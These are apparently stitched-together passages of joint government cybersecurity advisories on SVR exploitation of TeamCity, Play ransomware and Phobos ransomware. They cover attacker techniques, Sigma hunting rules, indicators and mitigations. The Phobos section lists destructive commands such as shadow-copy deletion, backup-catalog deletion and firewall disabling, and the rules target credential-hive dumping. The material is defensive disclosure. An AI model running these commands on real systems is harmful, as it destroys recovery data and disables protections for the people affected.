SVR also used DSInternals open source tool to interact with Directory Services. DSInternals allows to obtain a sensitive Domain information.
Network Reconnaissance
After the SVR built a secure foothold and gained an awareness of a victim’s TeamCity server, it then focused on network reconnaissance [T1590.004]. The SVR performed network reconnaissance using a mix of built-in commands and additional tools, such as port scanner and PowerSploit, which it launched into memory [T1046]. The SVR executed the following PowerSploit commands:
In selected environments the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstun—to establish a tunnel to the C2 infrastructure [T1572].
The authoring agencies are aware of the following infrastructure used in conjunction with “rr.exe”:
65.20.97[.]203:443
Poetpages[.]com:8443
The SVR executed Rsockstun either in memory or using the Windows Management Instrumentation Command Line (WMIC) [T1047] utility after dropping it to disk:
In the course of the TeamCity operation, the SVR used multiple custom and open source available tools and backdoors. The following custom tools were observed in use during the operation:
GraphicalProton is a simplistic backdoor that uses OneDrive, Dropbox, and randomly generated BMPs [T1027.001] to exchange data with the SVR operator.
After execution, GraphicalProton gathers environment information such as active TCP/UDP connections [T1049], running processes [T1049], as well as user, host, and domain names [T1590]. OneDrive is used as a primary communication channel while Dropbox is treated as a backup channel [T1567]. API keys are hardcoded into the malware. When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files – with both commands and results [T1564.001]. Directory name is re-randomized each time the GraphicalProton process is started.
BMP files that were used to exchange data were generated in the following way:
Compress data using zlib,
Encrypt data using custom algorithm,
Add “***” string literal to encrypted data,
Create a random BMP with random rectangle,
And finally, encode encrypted data within lower pixel bits.
While the GraphicalProton backdoor has remained mostly unchanged over the months we have been tracking it, to avoid detection the adversary wrapped the tool in various different layers of obfuscation, encryption, encoders, and stagers. Two specific variants of GraphicalProton “packaging” are especially noteworthy – a variant that uses DLL hijacking [T1574.002] in Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf [T1036], an open-source C++ build analysis tool from Microsoft.
GraphicalProton HTTPS variant – a variant of GraphicalProton backdoor recently introduced by the SVR that forgoes using cloud-based services as a C2 channel and instead relies on HTTP request.
To legitimize the C2 channel, SVR used a re-registered expired domain set up with dummy WordPress website. Execution of HTTPS variant of GraphicalProton is split into two files – stager and encrypted binary file that contains further code.
MITRE ATT&CK TACTICS AND TECHNIQUES
See below tables for all referenced threat actor tactics and techniques in this advisory. For additional mitigations, see the Mitigations section.
SVR cyber actors use a variant that uses DLL hijackingin Zabbix as a means to start execution (and potentially provide long-term, hard-to-detect access) and a variant that masks itself within vcperf, an open-source C++ build analysis tool from Microsoft.
When communicating with cloud services, GraphicalProton generates a randomly named directory which is used to store infection-specific BMP files – with both commands and results.
In a few specific cases, the SVR used the SharpChromium tool to obtain sensitive browser data such as session cookies, browsing history, or saved logins.
SVR cyber actors use these built-in commands to perform host reconnaissance: whoami /priv, whoami / all, whoami / groups, whoami / domain to perform user discovery.
SVR cyber actors may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.
In selected environments, the SVR used an additional tool named, “rr.exe”—a modified open source reverse socks tunneler named Rsockstunm—to establish a tunnel to the C2 infrastructure.
Table 11: SVR Cyber Actors ATT&CK Techniques for Enterprise: Exfiltration
SVR cyber actors may steal data by exfiltrating it over an existing C2 channel. Stolen data is encoded into normal communications using the same protocol as C2 communications.
SVR cyber actors use OneDrive and Dropbox to exfiltrate data to their C2 station.
INDICATORS OF COMPROMISE
Note: Please refer to Appendix B for a list of IOCs.
VICTIM TYPES
As a result of this latest SVR cyber activity, the FBI, CISA, NSA, SKW, CERT Polska, and NCSC have identified a few dozen compromised companies in the United States, Europe, Asia, and Australia, and are aware of over a hundred compromised devices though we assess this list does not represent the full set of compromised organizations. Generally, the victim types do not fit into any sort of pattern or trend, aside from having an unpatched, Internet-reachable JetBrains TeamCity server, leading to the assessment that SVR’s exploitation of these victims’ networks was opportunistic in nature and not necessarily a targeted attack. Identified victims included: an energy trade association; companies that provide software for billing, medical devices, customer care, employee monitoring, financial management, marketing, sales, and video games; as well as hosting companies, tools manufacturers, and small and large IT companies.
DETECTION METHODS
The following rules can be used to detect activity linked to adversary activity. These rules should serve as examples and adapt to each organization’s environment and telemetry.
SIGMA Rules
title: Privilege information listing via whoami
description: Detects whoami.exe execution and listing of privileges
author:
references: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'whoami.exe'
CommandLine|contains:
- 'priv'
- 'PRIV'
condition: selection
falsepositives: legitimate use by system administrator
title: DC listing via nltest
description: Detects nltest.exe execution and DC listing
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'nltest.exe'
CommandLine|re: '.*dclist:.*|.*DCLIST:.*|.*dsgetdc:.*|.*DSGETDC:.*'
condition: selection
falsepositives: legitimate use by system administrator
title: DLL execution via WMI
description: Detects DLL execution via WMI
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- 'WMIC.exe'
CommandLine|contains|all:
- 'call'
- 'rundll32'
condition: selection
falsepositives: legitimate use by software or system administrator
title: Process with connect and pass as args
description: Process with connect and pass as args
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'pass'
- 'connect'
condition: selection
falsepositives: legitimate use of rsockstun or software with exact same arguments
title: Service or Drive enumeration via powershell
description: Service or Drive enumeration via powershell
author:
references:
date: 2023/11/15
logsource:
category: ps_script
product: windows
detection:
selection_1:
ScriptBlockText|contains|all:
- 'Get-WmiObject'
- '-Class'
- 'Win32_Service'
selection_2:
ScriptBlockText|contains|all:
- 'Get-WindowsDriver'
- '-Online'
- '-All'
condition: selection_1 or selection_2
falsepositives: legitimate use by system administrator
title: Compressing files from temp to temp
description: Compressing files from temp to temp used by SVR to prepare data to be exfiltrated
references:
author:
date: 2023/11/15
logsource:
category: ps_script
product: windows
detection:
selection:
ScriptBlockText|re: '.*Compress-Archive.*Path.*Windows[Tt]{1}emp[1-9]{1}.*DestinationPath.*Windows[Tt]{1}emp.*'
condition: selection
title: DLL names used by SVR for GraphicalProton backdoor
description: Hunts for known SVR-specific DLL names.
references:
author:
date: 2023/11/15
logsource:
category: image_load
product: windows
detection:
selection:
ImageLoaded|endswith:
- 'AclNumsInvertHost.dll'
- 'ModeBitmapNumericAnimate.dll'
- 'UnregisterAncestorAppendAuto.dll'
- 'DeregisterSeekUsers.dll'
- 'ScrollbarHandleGet.dll'
- 'PerformanceCaptionApi.dll'
- 'WowIcmpRemoveReg.dll'
- 'BlendMonitorStringBuild.dll'
- 'HandleFrequencyAll.dll'
- 'HardSwapColor.dll'
- 'LengthInMemoryActivate.dll'
- 'ParametersNamesPopup.dll'
- 'ModeFolderSignMove.dll'
- 'ChildPaletteConnected.dll'
- 'AddressResourcesSpec.dll'
condition: selection
title: Sensitive registry entries saved to file
description: Sensitive registry entries saved to file
author:
references:
date: 2023/11/15
logsource:
category: process_creation
product: windows
detection:
selection_base:
Image|endswith:
- 'reg.exe'
CommandLine|contains: 'save'
CommandLine|re: '.*HKLMSYSTEM.*|.*HKLMSECURITY.*|.*HKLMSAM.*'
selection_file:
CommandLine|re: '.*sy.sa.*|.*sam.sa.*|.*se.sa.*'
condition: selection_base and selection_file
Note: These rules are meant for threat hunting and have not been tested on a larger dataset.
MITIGATIONS
The FBI, CISA, NSA, SKW, CERT Polska, and NCSC assess the scope and indiscriminate targeting of this campaign poses a threat to public safety and recommend organizations implement the mitigations below to improve organization’s cybersecurity posture. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Apply available patches for CVE-2023-42793 issued by JetBrains TeamCity in mid-September 2023, if not already completed.
Monitor the network for evidence of encoded commands and execution of network scanning tools.
Ensure host-based anti-virus/endpoint monitoring solutions are enabled and set to alert if monitoring or reporting is disabled, or if communication is lost with a host agent for more than a reasonable amount of time.
Require use of multi-factor authentication [CPG 1.3] for all services to the extent possible, particularly for email, virtual private networks, and accounts that access critical systems.
Organizations should adopt multi-factor authentication (MFA) as an additional layer of security for all users with access to sensitive data. Enabling MFA significantly reduces the risk of unauthorized access, even if passwords are compromised.
Keep all operating systems, software, and firmware up to date. Immediately configure newly-added systems to the network, including those used for testing or development work, to follow the organization’s security baseline and incorporate into enterprise monitoring tools.
Audit log files to identify attempts to access privileged certificates and creation of fake identity providers.
Deploy software to identify suspicious behavior on systems.
Deploy endpoint protection systems with the ability to monitor for behavioral indicators of compromise.
Use available public resources to identify credential abuse with cloud environments.
Configure authentication mechanisms to confirm certain user activities on systems, including registering new devices.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see previous tables).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
FBI, CISA, NSA, SKW, CERT Polska, and NCSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, SKW, CERT Polska, and NCSC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, NSA, SKW, CERT Polska, and NCSC.
VERSION HISTORY
December 12, 2023: Initial version.
APPENDIX A – INDICATORS OF COMPROMISE CVE-2023-42793
On a Windows system, the log file C:TeamCitylogsteamcity-server.log will contain a log message when an attacker modified the internal.properties file. There will also be a log message for every process created via the /app/rest/debug/processes endpoint. In addition to showing the command line used, the user ID of the user account whose authentication token was used during the attack is also shown. For example:
[2023-09-26 11:53:46,970] INFO - ntrollers.FileBrowseController - File edited: C:ProgramDataJetBrainsTeamCityconfiginternal.properties by user with id=1
[2023-09-26 11:53:46,970] INFO - s.buildServer.ACTIVITIES.AUDIT - server_file_change: File C:ProgramDataJetBrainsTeamCityconfiginternal.properties was modified by "user with id=1"
[2023-09-26 11:53:58,227] INFO - tbrains.buildServer.ACTIVITIES - External process is launched by user user with id=1. Command line: cmd.exe "/c whoami"
An attacker may attempt to cover their tracks by wiping this log file. It does not appear that TeamCity logs individual HTTP requests, but if TeamCity is configured to sit behind a HTTP proxy, the HTTP proxy may have suitable logs showing the following target endpoints being accessed:
/app/rest/users/id:1/tokens/RPC2 – This endpoint is required to exploit the vulnerability.
/app/rest/users – This endpoint is only required if the attacker wishes to create an arbitrary user.
/app/rest/debug/processes – This endpoint is only required if the attacker wishes to create an arbitrary process.
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC) are releasing this joint CSA to disseminate the Play ransomware group’s IOCs and TTPs identified through FBI investigations as recently as October 2023.
Since June 2022, the Play (also known as Playcrypt) ransomware group has impacted a wide range of businesses and critical infrastructure in North America, South America, and Europe. As of October 2023, the FBI was aware of approximately 300 affected entities allegedly exploited by the ransomware actors.
In Australia, the first Play ransomware incident was observed in April 2023, and most recently in November 2023.
The Play ransomware group is presumed to be a closed group, designed to “guarantee the secrecy of deals,” according to a statement on the group’s data leak website. Play ransomware actors employ a double-extortion model, encrypting systems after exfiltrating data. Ransom notes do not include an initial ransom demand or payment instructions, rather, victims are instructed to contact the threat actors via email.
The FBI, CISA, and ASD’s ACSC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. This includes requiring multifactor authentication, maintaining offline backups of data, implementing a recovery plan, and keeping all operating systems, software, and firmware up to date.
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK for Enterprise section for all referenced tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Initial Access
The Play ransomware group gains initial access to victim networks through the abuse of valid accounts [T1078] and exploitation of public-facing applications [T1190], specifically through known FortiOS (CVE-2018-13379 and CVE-2020-12812) and Microsoft Exchange (ProxyNotShell [CVE-2022-41040 and CVE-2022-41082]) vulnerabilities. Play ransomware actors have been observed to use external-facing services [T1133] such as Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.
Discovery and Defense Evasion
Play ransomware actors use tools like AdFind to run Active Directory queries [TA0007] and Grixba [1], an information-stealer, to enumerate network information [T1016] and scan for anti-virus software [T1518.001]. Actors also use tools like GMER, IOBit, and PowerTool to disable anti-virus software [T1562.001] and remove log files [T1070.001]. In some instances, cybersecurity researchers have observed Play ransomware actors using PowerShell scripts to target Microsoft Defender.[2]
Lateral Movement and Execution
Play ransomware actors use command and control (C2) applications, including Cobalt Strike and SystemBC, and tools like PsExec, to assist with lateral movement and file execution. Once established on a network, the ransomware actors search for unsecured credentials [T1552] and use the Mimikatz credential dumper to gain domain administrator access [T1003]. According to open source reporting [2], to further enumerate vulnerabilities, Play ransomware actors use Windows Privilege Escalation Awesome Scripts (WinPEAS) [T1059] to search for additional privilege escalation paths. Actors then distribute executables [T1570] via Group Policy Objects [T1484.001].
Exfiltration and Encryption
Play ransomware actors often split compromised data into segments and use tools like WinRAR to compress files [T1560.001] into .RAR format for exfiltration. The actors then use WinSCP to transfer data [T1048] from a compromised network to actor-controlled accounts. Following exfiltration, files are encrypted [T1486] with AES-RSA hybrid encryption using intermittent encryption, encrypting every other file portion of 0x100000 bytes. [3] (Note: System files are skipped during the encryption process.) A .play extension is added to file names and a ransom note titled ReadMe[.]txt is placed in file directory C:.
Impact
The Play ransomware group uses a double-extortion model [T1657], encrypting systems after exfiltrating data. The ransom note directs victims to contact the Play ransomware group at an email address ending in @gmx[.]de. Ransom payments are paid in cryptocurrency to wallet addresses provided by Play actors. If a victim refuses to pay the ransom demand, the ransomware actors threaten to publish exfiltrated data to their leak site on the Tor network ([.]onion URL).
Leveraged Tools
Table 1 lists legitimate tools Play ransomware actors have repurposed for their operations. The legitimate tools listed in this product are all publicly available. Use of these tools and applications should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.
Table 1: Tools Leveraged by Play Ransomware Actors
Name
Description
AdFind
Used to query and retrieve information from Active Directory.
Bloodhound
Used to query and retrieve information from Active Directory.
GMER
A software tool intended to be used for detecting and removing rootkits.
IOBit
An anti-malware and anti-virus program for the Microsoft Windows operating system. Play actors have accessed IOBit to disable anti-virus software.
PsExec
A tool designed to run programs and execute commands on remote systems.
PowerTool
A Windows utility designed to improve speed, remove bloatware, protect privacy, and eliminate data collection, among other things.
PowerShell
A cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS.
Cobalt Strike
A penetration testing tool used by security professionals to test the security of networks and systems. Play ransomware actors have used it to assist with lateral movement and file execution.
Mimikatz
Allows users to view and save authentication credentials such as Kerberos tickets. Play ransomware actors have used it to add accounts to domain controllers.
WinPEAS
Used to search for additional privilege escalation paths.
WinRAR
Used to split compromised data into segments and to compress files into .RAR format for exfiltration.
WinSCP
Windows Secure Copy is a free and open-source Secure Shell (SSH) File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Play ransomware actors have used it to transfer data [T1048] from a compromised network to actor-controlled accounts.
Microsoft Nltest
Used by Play ransomware actors for network discovery.
Nekto / PriviCMD
Used by Play ransomware actors for privilege escalation.
Process Hacker
Used to enumerate running processes on a system.
Plink
Used to establish persistent SSH tunnels.
Indicators of Compromise
See Table 2 for Play ransomware IOCs obtained from FBI investigations as of October 2023.
Table 2: Hashes Associated with Play Ransomware Actors
Play ransomware actors use a double-extortion model for financial gain.
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and ASD’s ACSC recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of ransomware techniques (such as threat actors leveraging backdoor vulnerabilities into remote software systems), thus, strengthening the security posture for their customers.
For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.
The FBI, CISA, and ASD’s ACSC recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Play ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 2.F, 2.R, 2.S] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies [CPG 2.C].
Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 2.B];
Store passwords in hashed format using industry-recognized password managers;
Add password user “salts” to shared login credentials;
Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
Require administrator credentials to install software.
Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E]. Organizations are advised to deploy the latest Microsoft Exchange security updates. If unable to patch, then disable Outlook Web Access (OWA) until updates are able to be undertaken. Also see Patching Applications and Operating Systems | Cyber.gov.au.
Segment networks [CPG 2.F] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Also see Implementing Network Segmentation and Segregation.
Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 1.E]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents actors from directly connecting to remote access services they have established for persistence. Also see Inbound Traffic Filtering – Technique D3-ITF.
Install, regularly update, and enable real time detection for antivirus software on all hosts.
Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
Consider adding an email banner to emails [CPG 2.M] received from outside your organization.
Disable hyperlinks in received emails.
Implement time-based access for accounts set at the admin level and higher. For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
Disable command-line and scripting activities and permissions. Privileged escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E].
Maintain offline backups of data and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, an organization ensures they will not be severely interrupted, and/or only have irretrievable data.
Ensure backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K].
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the FBI, CISA, and ASD’s ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and ASD’s ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see Tables 3-11).
Align your security technologies against this technique.
Test your technologies against this technique.
Analyze your detection and prevention technologies performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
The FBI, CISA, and ASD’s ACSC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Play ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
The FBI, CISA, and ASD’s ACSC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, the FBI’s Internet Crime Complaint Center (IC3), or CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).
Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.
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#StopRansomware: Phobos Ransomware
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA, to disseminate known TTPs and IOCs associated with the Phobos ransomware variants observed as recently as February 2024, according to open source reporting. Phobos is structured as a ransomware-as-a-service (RaaS) model. Since May 2019, Phobos ransomware incidents impacting state, local, tribal, and territorial (SLTT) governments have been regularly reported to the MS-ISAC. These incidents targeted municipal and county governments, emergency services, education, public healthcare, and other critical infrastructure entities to successfully ransom several million U.S. dollars.[1],[2]
The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Phobos ransomware and other ransomware incidents.
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TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
According to open source reporting, Phobos ransomware is likely connected to numerous variants (including Elking, Eight, Devos, Backmydata, and Faust ransomware) due to similar TTPs observed in Phobos intrusions. Phobos ransomware operates in conjunction with various open source tools such as Smokeloader, Cobalt Strike, and Bloodhound. These tools are all widely accessible and easy to use in various operating environments, making it (and associated variants) a popular choice for many threat actors.[3],[4]
Reconnaissance and Initial Access
Phobos actors typically gain initial access to vulnerable networks by leveraging phishing campaigns [T1598] to drop hidden payloads or using internet protocol (IP) scanning tools, such as Angry IP Scanner, to search for vulnerable Remote Desktop Protocol (RDP) ports [T1595.001] or by leveraging RDP on Microsoft Windows environments.[5],[6]
Once they discover an exposed RDP service, the actors use open source brute force tools to gain access [T1110]. If Phobos actors gain successful RDP authentication [T1133][T1078] in the targeted environment, they perform open source research to create a victim profile and connect the targeted IP addresses to their associated companies [T1593]. Threat actors leveraging Phobos have notably deployed remote access tools to establish a remote connection within the compromised network [T1219].[7]
Alternatively, threat actors send spoofed email attachments [T1566.001] that are embedded with hidden payloads [T1204.002] such as SmokeLoader, a backdoor trojan that is often used in conjunction with Phobos. After SmokeLoader’s hidden payload is downloaded onto the victim’s system, threat actors use the malware’s functionality to download the Phobos payload and exfiltrate data from the compromised system.
Execution and Privilege Escalation
Phobos actors run executables like
1saas.exe
orcmd.exe
to deploy additional Phobos payloads that have elevated privileges enabled [TA0004]. Additionally, Phobos actors can use the previous commands to perform various windows shell functions. The Windows command shell enables threat actors to control various aspects of a system, with multiple permission levels required for different subsets of commands [T1059.003][T1105].[8]Smokeloader Deployment
Phobos operations feature a standard three phase process to decrypt a payload that allows the threat actors to deploy additional destructive malware.[9]
For the first phase, Smokeloader manipulates either
VirtualAlloc
orVirtualProtect API
functions—which opens an entry point, enabling code to be injected into running processes and allowing the malware to evade network defense tools [T1055.002]. In the second phase, a stealth process is used to obfuscate command and control (C2) activity by producing requests to legitimate websites [T1001.003].[10]Within this phase, the shellcode also sends a call from the entry point to a memory container [T1055.004] and prepares a portable executable for deployment in the final stage [T1027.002][T1105][T1140].
Finally, once Smokeloader reaches its third stage, it unpacks a program-erase cycle from stored memory, which is then sent to be extracted from a SHA 256 hash as a payload.[7] Following successful payload decryption, the threat actors can begin downloading additional malware.
Additional Phobos Defense Evasion Capabilities
Phobos ransomware actors have been observed bypassing organizational network defense protocols by modifying system firewall configurations using commands like
netsh firewall set opmode mode=disable
[T1562.004]. Additionally, Phobos actors can evade detection by using the following tools: Universal Virus Sniffer, Process Hacker, and PowerTool [T1562].Persistence and Privilege Escalation
According to open source reporting, Phobos ransomware uses commands such as
Exec.exe
or thebcdedit[.]exe
control mechanism. Phobos has also been observed using Windows Startup folders and Run Registry Keys such asC:/UsersAdminAppDataLocaldirectory
[T1490][T1547.001] to maintain persistence within compromised environments.[5]Additionally, Phobos actors have been observed using built-in Windows API functions [T1106] to steal tokens [T1134.001], bypass access controls, and create new processes to escalate privileges by leveraging the
SeDebugPrivilege
process [T1134.002]. Phobos actors attempt to authenticate using cached password hashes on victim machines until they reach domain administrator access [T1003.005].Discovery and Credential Access
Phobos actors additionally use open source tools [T1588.002] such as Bloodhound and Sharphound to enumerate the active directory [T1087.002]. Mimikatz and NirSoft, as well as Remote Desktop Passview to export browser client credentials [T1003.001][T1555.003], have also been used. Furthermore, Phobos ransomware is able to enumerate connected storage devices [T1082], running processes [T1057], and encrypt user files [T1083].
Exfiltration
Phobos actors have been observed using
WinSCP
andMega.io
for file exfiltration.[11] They useWinSCP
to connect directly from a victim network to an FTP server [T1071.002] they control [TA0010]. Phobos actors installMega.io
[T1048] and use it to export victim files directly to a cloud storage provider [T1567.002]. Data is typically archived as either a.rar
or.zip
file [T1560] to be later exfiltrated. They target legal documentation, financial records, technical documents (including network architecture), and databases for commonly used password management software [T1555.005].Impact
After the exfiltration phase, Phobos actors then hunt for backups. They use
vssadmin.exe
and Windows Management Instrumentation command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments. This prevents victims from recovering files after encryption has taken place [T1047][T1490].Phobos.exe
contains functionality to encrypt all connected logical drives on the target host [T1486]. Each Phobos ransomware executable has unique build identifiers (IDs), affiliate IDs, as well as a unique ransom note which is embedded in the executable. After the ransom note has populated on infected workstations, Phobos ransomware continues to search for and encrypt additional files.Most extortion [T1657] occurs via email; however, some affiliate groups have used voice calls to contact victims. In some cases, Phobos actors have used onion sites to list victims and host stolen victim data. Phobos actors use various instant messaging applications such as ICQ, Jabber, and QQ to communicate [T1585]. See Figure 2 for a list of email providers used by the following Phobos affiliates: Devos, Eight, Elbie, Eking, and Faust.[6]
INDICATORS OF COMPROMISE (IOCs)
See Table 1 through 6 for IOCs obtained from CISA and the FBI investigations from September through November 2023.
adstat477d[.]xyz
demstat577d[.]xyz [12]
serverxlogs21[.]xyz
vssadmin delete shadows /all /quiet [T1490]
netsh advfirewall set currentprofile state off
wmic shadowcopy delete
netsh firewall set opmode mode=disable [T1562.004]
bcdedit /set {default} bootstatuspolicy ignoreallfailures [T1547.001]
bcdedit /set {default} recoveryenabled no [T1490]
wbadmin delete catalog -quiet
mshta C:%USERPROFILE%Desktopinfo.hta [T1218.005]
mshta C:%PUBLIC%Desktopinfo.hta
mshta C:info.hta
The commands above are observed during the execution of a Phobos encryption executable. A Phobos encryption executable spawns a
cmd.exe
process, which then executes the commands listed in Table 1 with their respective Windows system executables. When the commands above are executed on a Windows system, volume shadow copies are deleted and Windows Firewall is disabled. Additionally, the system’s boot status policy is set to boot even when there are errors during the boot process, and automatic recovery options, like Windows Recovery Environment (WinRE), are disabled for the given boot entry. The system’s backup catalog is also deleted. Finally, the Phobos ransom note is displayed to the end user usingmshta.exe
.HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun<Phobos exe name>
C:/UsersAdminAppDataLocaldirectory
AlbetPattisson1981@protonmail[.]com
